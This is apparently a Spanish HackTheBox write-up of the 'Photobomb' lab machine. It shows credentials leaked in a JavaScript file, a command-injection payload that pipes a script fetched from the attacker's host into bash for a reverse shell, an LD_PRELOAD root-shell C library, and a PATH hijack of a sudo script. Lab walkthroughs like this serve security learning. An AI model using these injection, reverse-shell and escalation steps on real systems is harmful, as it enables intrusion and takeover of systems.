Photobomb - HackTheBox

Featured image

🤖Máquina Linux de nivel Easy en la que encontraremos unas credenciales de acceso a un panel web de descarga de imágenes ocultas en archivo javascript, a través de burpsuite podremos obtener un reverse shell y escalaremos privilegios de 2 formas diferentes, a través del script cleanup.sh creando un falso binario y a través de LD_PRELOAD, creando el script en C🤖.

Un pequeño INDICE

  1. Reconocimiento.
  2. Enumeración.
  3. Explotación.
  4. Escalada de Privilegios.

Reconocimiento #

Reconocimiento de Puertos 🔍

Como siempre comenzamos lanzando Whichsystem para averiguar ante que sistema operativo nos enfrentamos, recordar que Whichsytem es una utilidad desarrollada en python por S4vitar que nos permite detectar el sistema operativo de una máquina por su TTL (Time To Live).

# Windows --> TTL 128
---------------------
# Linux --> TTL 64

Una vez sabemos que nos enfrentamos ante una máquina Linux procedo a enumerar los puertos existentes en la máquina.

Tenemos lo siguiente:

Puerto Servicio Versión
22 SSH OpenSSH 8.2p1
80 HTTP nginx 1.18.0

Dominio photobomb.htb

Añado el dominio al archivo /etc/hosts

Enumeración #

Analizando la Web 📌

Lanzo la utilidad Whatweb para ientificar el sitio web, sus tecnologías web, versiones, sistemas CMS… etc

Nos arroja la información del servidor web, servicio, versión, título… etc

Asique ahora voy a acceder al mismo para ver que tenemos.

Parece una web dedicada a la venta de imágenes de alta calidad. Además de eso nos dice que las credenciales se encuentran en mi paquete de bienvenida. Y nos dice también que si tenemos algún problema con la impresora que contactemos con el número de soporte.

Si hacemos click sobre click here nos aparece un login, pero no tenemos credenciales.

Mirando el código fuente veo que hay un archivo javascript llamado photobomb.js.

Lo abro y encuentro unas credenciales.

pH0t0 : b0Mb!

Me autentico con las credenciales y funciona, accedo a la ruta /printer.

Dentro hay imágenes en diferentes resoluciones que podemos descargar.

Explotación #

Burpsuite 🔥

Se me ocurre abrir Burpsuite e interceptar la petición al hacer click en descargar la imágen.

Tenemos la petición con el nombre de la imágen, la extensión de la imágen y sus dimensiones.

Podría intentar introducir comandos para obtener una reverse shell, asique mando la petición al repeater.

Creo una reverse shell en bash en mi máquina atacante.

Lanzo un servidor de python3.

python3 -m http.server 8080

Y desde el burp injecto el siguiente comando.

curl+http://10.10.15.17:8080/rev-bash.sh+|bash+

Ponemos netcat en escucha en el puerto 443 y hacemos click en send.

Y ya estamos dentro como el usuario Wizard y podemos leer la flag user.txt

La shell no es muy interactiva por lo que ejecuto los siguientes comandos para poder conectarme a través de ssh y terner una shell mejor.

Genero una clave SSH con ssh-keygen

Cambio el nombre de la clave publica a authorized_keys

Me copio la clave privada a mi máquina atacante a un archivo (elc4br4.rsa)

Le asigno los permisos necesarios y me conecto por ssh con el rsa.

Ejecutamos estos comandos para tener la shell interactiva 100x100

export TERM=xterm
export SHELL=bash

Y ya podemos escalar privilegios.

Escalada de Privilegios #

Primeramente como siempre enumeramos para encontrar vectores de escalada y como siempre comienzo por sudo -l

Partiendo de aquí existen 2 formas de escalar privilegios.

Variable LD_PRELOAD 👨‍💻

LD_Preload es la variable de entorno que lista las rutas de la librerías compartidas, al igual que /etc/ld.so.preload.

Para poder escalar debemos crear un script en C con el siguiente contenido.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
    void _init()
{
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/usr/bin/bash");
}

Una vez creado lo compilamos con el comando:

gcc -fPIC -shared -o escalada.so shell.c -nostartfiles

Y lo subimos la máquina víctima.

Una vez lo hemos subido lo ejecutamos.

chmod 777 escalada.so

sudo LD_PRELOAD=/tmp/escalada.so /opt/cleanup.sh

Script /opt/cleanup.sh 👨‍💻

Si leemos el código del script veremos lo siguiente:

Si nos fijamos bien el binario find no especifica su ruta absoluta, por lo que podríamos escalar privilegios creando un binario find falso y añadiéndole una bash en su interior, posteriormente lo exportamos al PATH de forma que al ejecutar el script cleanup.sh como root se ejecutará nuestro binario falso con el contenido de su interior.

# Asiganos los permisos al binario falso
chmod 777 find
-----------------------------------------
# Exportamos el binario al path
sudo PATH=/tmp/:$PATH /opt/cleanup.sh

Y ya somos root!!!